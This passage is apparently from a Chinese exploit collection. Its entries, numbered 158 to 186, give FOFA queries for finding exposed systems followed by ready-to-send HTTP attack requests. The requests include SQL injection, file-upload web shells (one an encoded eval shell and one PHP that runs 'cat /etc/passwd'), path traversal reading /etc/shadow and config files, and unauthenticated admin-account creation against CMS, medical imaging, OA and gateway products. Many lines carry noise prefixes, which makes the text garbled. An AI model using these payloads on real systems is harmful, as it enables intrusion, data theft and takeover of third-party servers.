; d$ s. b* Q2 m& \" L8 i3 s- @Content-Disposition: form-data; name="field"
9 U( k, W: M  ^  Z
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

- h$ e, n! I2 @8 H. j& A) s$ l# lnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
* Z) m! v0 q- [7 C$ C% w
null
7 R1 w) C. k2 q" c& H4 P' h! E------WebKitFormBoundary1imovELzPsfzp5dN--
) q; p; J" L' G6 l; |. H& U

% i6 w7 u& v2 T3 f- Chttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

5 a3 S4 Y1 L! ]6 D' g158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
! t  @4 K0 c- U- l! U0 yPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
+ K- V  f2 z1 Z9 ]Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

4 j: {5 f) K7 zobject=displayregion&contenthistid=x\'&previewid=1

1 x! J  b9 N" F0 k) |& x0 f
& k5 N& S+ `$ c* W; I159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
1 i& ~- I2 K% FFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
+ |! X4 r$ ^8 }; b4 r" uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
& w( c& ?3 B5 \, @4 W9 |Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
( T  Q7 s2 e9 v& M3 O" i
<?xml version="1.0" encoding="utf-8"?>
" _+ z" t% v2 o0 u& U( {+ |<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! ^) {0 {1 k- J  h<soap:Body>
<jobUpload xmlns="http://rainier">
& ^( @0 q: \. y0 v  T4 a+ K+ d' V<vcode>1</vcode>
7 W. e. e5 f- @" q: @6 O<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
+ {' H: x- m0 Y, x5 k2 X4 m: v" n+ \<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: J" \( J; T: U, k</jobUpload>
! t( X7 |( K$ N7 D+ A</soap:Body>
; K$ t' K8 n/ b+ ~; `2 ^6 h</soap:Envelope>

4 q% @9 m2 d7 E" K1 u2 X
, B0 g# V+ m8 X% v# {+ g/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
3 ?7 H2 _! B  o  s: k* r4 o6 k
9 M. X+ P! V: {" X( F
$ x$ {" N! a. z+ |" J160. Sonatype Nexus Repository 3目录遍历与文件读取
1 Z1 C% U4 w& \7 _7 I  eCVE-2024-4956
FOFA：title="Nexus Repository Manager"
6 l% M' t* ~- s. Q* o% V  L) DGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
- R* t( ~0 s. b0 [* T* {$ dHost: x.x.x.x
/ Y* S* k- b% _1 G' BUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
+ O) A; P( L+ b& a7 c  JAccept: */*
Accept-Language: en
Accept-Encoding: gzip

# g* ~9 Z$ Q0 N( w2 f  N- N, O+ ~
. [' |$ H2 g9 G0 }) p0 l161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
" [: _( `: U# p3 O( p$ _FOFA：body="/KT_Css/qd_defaul.css"
; [8 ~+ e8 K7 d: F第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
( J8 M5 [8 p3 XPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ J! |# L( ?. O; b) C/ f! m; @Connection: close
1 x8 q' @) T3 ~1 C# F% f) C% ZContent-Length: 445
Content-Type: text/xml
& Z9 @5 P% }- kAccept-Encoding: gzip
% Z5 q& ]6 W3 v; @& F* l
" P" L. b9 y+ F<?xml version="1.0" encoding="utf-8"?>
8 ~5 x! X! t/ C' h<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
* L3 x; y- H' E8 {6 x; @xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
' d8 b* n6 p: M( H/ C; \' |+ |<ip>1</ip>
* w+ C4 [1 E/ ]' k2 t# v7 v4 i<fileName>../../../../dizxdell.aspx</fileName>
3 F! J/ A% I" \* {3 o, n5 O) z; Z<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
& b! ~- Z7 N- V* N</soap:Body>
2 i4 E% h' Z! K</soap:Envelope>
3 @) E8 Z6 F- R: m5 Q% M* g
+ _! l/ J, }  k- I" i2 A
/ r1 I( q, \0 M$ Shttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
' v/ s7 c1 X, xFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
% R% x/ }7 Q) N* v0 rHost: x.x.x.x
* K- `* {. t$ M# N& y$ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
5 f( e1 v! _; }5 c& @$ g) LAccept-Encoding: gzip
( Z, R0 M2 m9 \
------WebKitFormBoundaryeegvclmyurlotuey
/ V4 g. Y  h1 _; bContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
7 C5 w$ R7 f+ }! dContent-Type: application/octet-stream
/ N( M6 v( W, n' f
1 _, j0 M! A5 K<% response.write("ujidwqfuuqjalgkvrpqy") %>
4 z* V& K9 e* r7 K8 q------WebKitFormBoundaryeegvclmyurlotuey
9 J: Y, {1 p2 ^& B4 SContent-Disposition: form-data; name="action"

upload
8 `  ^7 m; l5 ]( v/ i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
! F  d8 {: s6 _, q# C+ A- Q
8 o1 e, x! o9 ?ResourceNewResponder
  ^( o6 n8 @# a& G) F------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

! `) R  c8 Q  v/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
& o7 m" o7 s4 k! B2 G

6 ^6 O7 x2 B1 x% M5 X. ~; Zhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
  b6 A/ a" D0 P' I1 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
; j  P$ n4 R. i4 w: [& UAccept: */*
9 T# O4 l# J  O- M& A( ~) _: F* O0 HAccept-Encoding: gzip, deflate
8 s; C$ R0 F) N; m7 ^6 hAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

; S1 n3 P: w% ~8 j0 x- D------iiqvnofupvhdyrcoqyuujyetjvqgocod
, H* C, j  p7 l* l. I9 }, gContent-Disposition: form-data; name="name"
' ~9 Y1 D$ a/ h$ M
1.php
6 O! H1 P; ~9 C------iiqvnofupvhdyrcoqyuujyetjvqgocod
* _! b' B1 ^1 y- w/ [Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

; b# j! g1 i9 p7 ?3 hrvjhvbhwwuooyiioxega
) s4 K4 t8 {. H; i$ S------iiqvnofupvhdyrcoqyuujyetjvqgocod--
7 ?; H7 q3 f7 b8 h" U

8 M  F; ?% G0 q' B% y  V8 @164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
) h4 [- h9 R1 n! J. `) OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
! E; a! q$ N( T2 g- BConnection: close
- ]; A- j3 ]. a0 x; \6 jContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
* c: ]4 ~2 u8 p( ~8 T1 w! IX-Requested-With: XMLHttpRequest
9 U  A) R7 ]) F+ o4 {: I- z) c& f, g. OAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
: R# z/ ~* r/ Z3 r* v$ d5 P1 Q
3 N: \1 [# C9 D<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
3 K) V3 s: \9 CCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 c! S5 v" u  z# FHost:
0 d  N+ N6 U, f9 U( xPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, i8 C7 t8 b+ M0 x+ r8 a+ L5 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 _  @- @0 E; MAccept-Encoding: gzip, deflate
7 O$ b3 _# m0 t0 |$ a7 i( cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
$ {( u" U8 u* xConnection: close
4 m2 ~" h8 d0 i3 UContent-Type: application/x-www-form-urlencoded
0 Y! u& x9 n. {( d# qContent-Length: 89
5 Q$ t; g0 X+ R" s' Z% S
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


" ^  J, d; ]2 j5 |6 M: a: h) ]167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
2 @: F/ \+ J6 T6 `- t7 t1 K$ aGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
& S, g$ F' I$ n( C' z8 oHost:
/ _# T3 G0 m2 Z2 K6 Z1 u2 d% MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" x0 M) }% K- T) U1 P  \. r5 uContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- u6 [2 Z& V1 m  x8 j2 u, i1 XAccept: */*
Connection: keep-alive
. t/ j* k. H6 W5 ^9 h, n) f+ N

  X, `4 M, u" O0 P8 [( R# N168. 宏景EHR OutputCode 任意文件读取
" G% ~$ E- |" V. k8 |FOFA：app="HJSOFT-HCM"
: h! a! E5 u+ a1 M4 G6 XGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
; P% }9 i( _. LHost: your-ip
5 I# f' d6 i4 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
9 d- E: |' G* ?* E8 E' _: H# o
# g) n4 C1 D  d! n/ A* g1 m
+ Z8 y/ t4 s4 `
+ B9 {: k5 Y' `% T+ K+ M169. 宏景EHR downlawbase SQL注入
/ i* N4 O/ g) s' h/ A. V6 ZFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
, ?  J$ m  [  d/ F# M; k2 h7 D! `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
; d) \% a! t; m; m6 J. X
0 n) p" D, G  C3 A1 D% Q% x, M

  d( q; v8 ~6 ^1 u) o- E170. 宏景EHR DisplayExcelCustomReport 任意文件读取
" M4 n: {- `! l( @/ X" MFOFA：body="/general/sys/hjaxmanage.js"
9 Q7 }' ?  @7 Z0 Y7 Y+ n/ @POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
/ U3 }7 [; F1 i4 ZHost: balalanengliang
; F5 J; C5 y% D, N2 D. D. qUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
, Y# ^3 s0 d, e, x% F1 SFOFA：body="/808gps/"
) X9 X0 z+ H9 V. u9 }& yGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
9 [9 N# S; u" CHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 ~- [* y, ?8 O- i2 @' e) w/ CAccept: */*
8 |7 y# K4 Y5 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
% t" [: p1 z% j/ t$ \

, }0 [) G) f  q* s8 i& k5 V2 \5 K
5 m. J4 H; h) t) l9 [172. DT-高清车牌识别摄像机任意文件读取
, ?- @, |7 }* Z  a' r5 r+ V6 L. P% NFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
( F* E) n! ~0 s7 v  k1 r3 pHost: your-ip
, O# I; F3 u+ q8 ?6 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
# L* ~% ]4 r- a7 LConnection: keep-alive



173. Check Point 安全网关任意文件读取
/ P" R; O. a, B3 _CVE-2024-24919
2 z! g8 N, A- L# W: KFOFA：app="Check_Point-SSL-Network-Extender"
! k. A- G* [: Q! ^( y/ q9 \POST /clients/MyCRL HTTP/1.1
Host: your-ip
) M- C  @3 g& }/ n7 kContent-Type: application/x-www-form-urlencoded
" j1 U9 \2 u; W; C+ a5 I
aCSHELL/../../../../../../../etc/shadow


/ c+ y  a6 |! s' |, Z
% p9 F' y: K4 X174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
) D/ c  i: H, ]( W! z! a; wGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
1 x4 v) g. n! g3 J+ U+ q- bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 F0 P$ y1 m/ O5 x2 ]7 \. `7 XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ @  x5 q5 d6 [1 h
8 o* q) K0 x/ w5 N  ]4 |+ |# E
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
6 k  B& b+ y4 Y" uFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" u+ h- q5 R5 j! w& K- B! z- kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 `* p% h1 O: q: \4 CAccept-Encoding: gzip, deflate
0 T- @6 Q- R( C& ~6 [Connection: close
Upgrade-Insecure-Requests: 1
- p* D* [; m9 S1 l) Z

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
7 A+ d/ B5 G( ^POST /manager/teletext/material/rewrite.php HTTP/1.1
- x* b0 |) I% {* m6 k; }0 JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 C, h5 l' ]' n( JContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
* J. P( ~6 q- B) J1 K, ~2 LConnection: close

------WebKitFormBoundaryOKldnDPT
0 l  z6 H# h% V9 ~* i* KContent-Disposition: form-data; name="tmp_name"; filename="test.php"
& S9 h: F. t' C: _Content-Type: image/png
! J7 b& R1 r& w
<?php system("cat /etc/passwd");unlink(__FILE__);?>
' d( I8 _; {1 ]0 @! t6 {------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
1 ]2 T$ I0 d+ F# J5 I7 G

) u( g, E# d4 z, K; O. o
+ @9 j( m( t* Q4 p' D" K177. H3C路由器敏感信息泄露
5 L9 `2 G3 ^% _/ a& j! k/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
- u8 {: s: ^, O2 P# X6 B3 f/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 ^# i) f# T: T! Q' ]/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
0 t( i, B& \6 Q0 j7 G6 ?  A/userLogin.asp/../actionpolicy_status/../ER5100.cfg
9 l& z  z! p8 K' o8 F# R- o/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
; s+ _# H- D' @6 P/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
) q/ u; B8 G+ Z8 L/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
* U$ ~; a$ \' F/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

0 P+ G* N8 z9 w. V( R
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 y( D! \7 X! U- ^Content-Length: 252
1 h% a6 T9 A4 u6 E1 UAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
1 A; V; T4 ?8 CContent-Type: application/octet-stream
' v, ?9 e) A3 m' \, V8 O* oContent-Length: 255
4 Z- Q+ y4 J$ F
& `9 N/ h5 s' _2 _& Z12234
/ |& e) F% C. @-----------------aqutkea7vvanpqy3rh2l--
8 T6 {" L# A- Q8 a% P

% M: X1 f& N+ w1 E: t4 @9 ^GET /imc/primepush/%2e%2e/flex/12234.txt
0 b& f5 L7 j; z: D9 C

0 a3 k* B# B% J7 i  G179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; Q1 y& ]0 N- ?, c% M( E3 {4 _Host: {{Hostname}}
9 Z6 |/ l9 d: O5 {3 d: KContent-Type: application/x-www-form-urlencoded
2 y$ e' F2 ^' n# ]( N5 \* sUser-Agent: Mozilla/5.0
" A) q4 M* }- v9 ?" M7 p0 c
1 t* s% {3 l& j! Wpath=../log4net.config&Name=


! q: p  N: D# c' a, M180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
6 q* X4 T4 l) }% ?) xGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
  j# Q& R3 c" ]% XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' v. z5 G) Y0 J* R* c3 z$ mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) z7 X9 D- L- f/ k& i6 p1 d7 E. nAccept-Encoding: gzip, deflate
4 X6 |( e1 y8 _Accept-Language: zh-CN,zh;q=0.9
1 V0 N% J: W0 W8 s3 Q* CConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
% b) M" ?& x  k  z2 l8 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: P9 _" d, R' R0 q8 ]Accept-Language: zh-CN,zh;q=0.9
- |9 \9 Y! Z  PConnection: close
Content-Type: application/x-www-form-urlencoded
4 l1 q' n4 ]/ u. a* M9 ?

& g- _( b5 U' P: A2 v& Faction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
+ }2 b8 S7 h+ r  V
( @+ J/ j: y4 x$ G
$ E6 N0 J* }2 j182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 S6 u* e2 L8 ]; wFOFA："PDCA/js/_publicCom.js"
2 I8 \  r1 S" M8 N/ zPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
; q& a3 L/ L* W( wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' D) N: D0 O: b% M' I1 E$ lAccept-Encoding: gzip, deflate, br
9 M% v. K* i5 M# b8 [Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
- U, V8 ^6 V6 n& V$ B
/ \7 V3 H0 z1 o
7 Z. `5 w+ |" l, ausername=test1234&pwd=test1234&savedays=1


% G" |3 s; R5 e7 W4 q. Q4 q- m* l* q183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- ~" X. a2 O4 V( D" x* SAccept-Encoding: gzip, deflate
0 b% o& R2 M$ \. bConnection: close

" l) V' j- A& H- w( U
) @5 T1 X8 W: S% p( |8 `184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
! y' {6 h7 a) o% k9 hPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
. k6 c! N6 o6 F) X* p2 @) p6 \% j# CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% n. z# _% `, S9 gX-Requested-With: XMLHttpRequest

: u9 l, a4 q; u# ^5 s
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
& y% D/ U! d- tHost: host
+ G$ d. p+ A) Z( ^7 z
# W8 y5 ]; ^/ u" W$ [
4 w( W7 x% x$ _8 @+ R% U0 @! r186. F-logic DataCube3 SQL注入
- ]& s, u7 g7 v; X' WCVE-2024-31750
* M, I: K. }3 p$ m6 ]& yF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
+ k2 A& f* Y( B3 {FOFA：title=="DataCube3"
& H$ m, K" y6 ~( R4 ]POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
4 e6 R" W# R  R4 w# W4 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
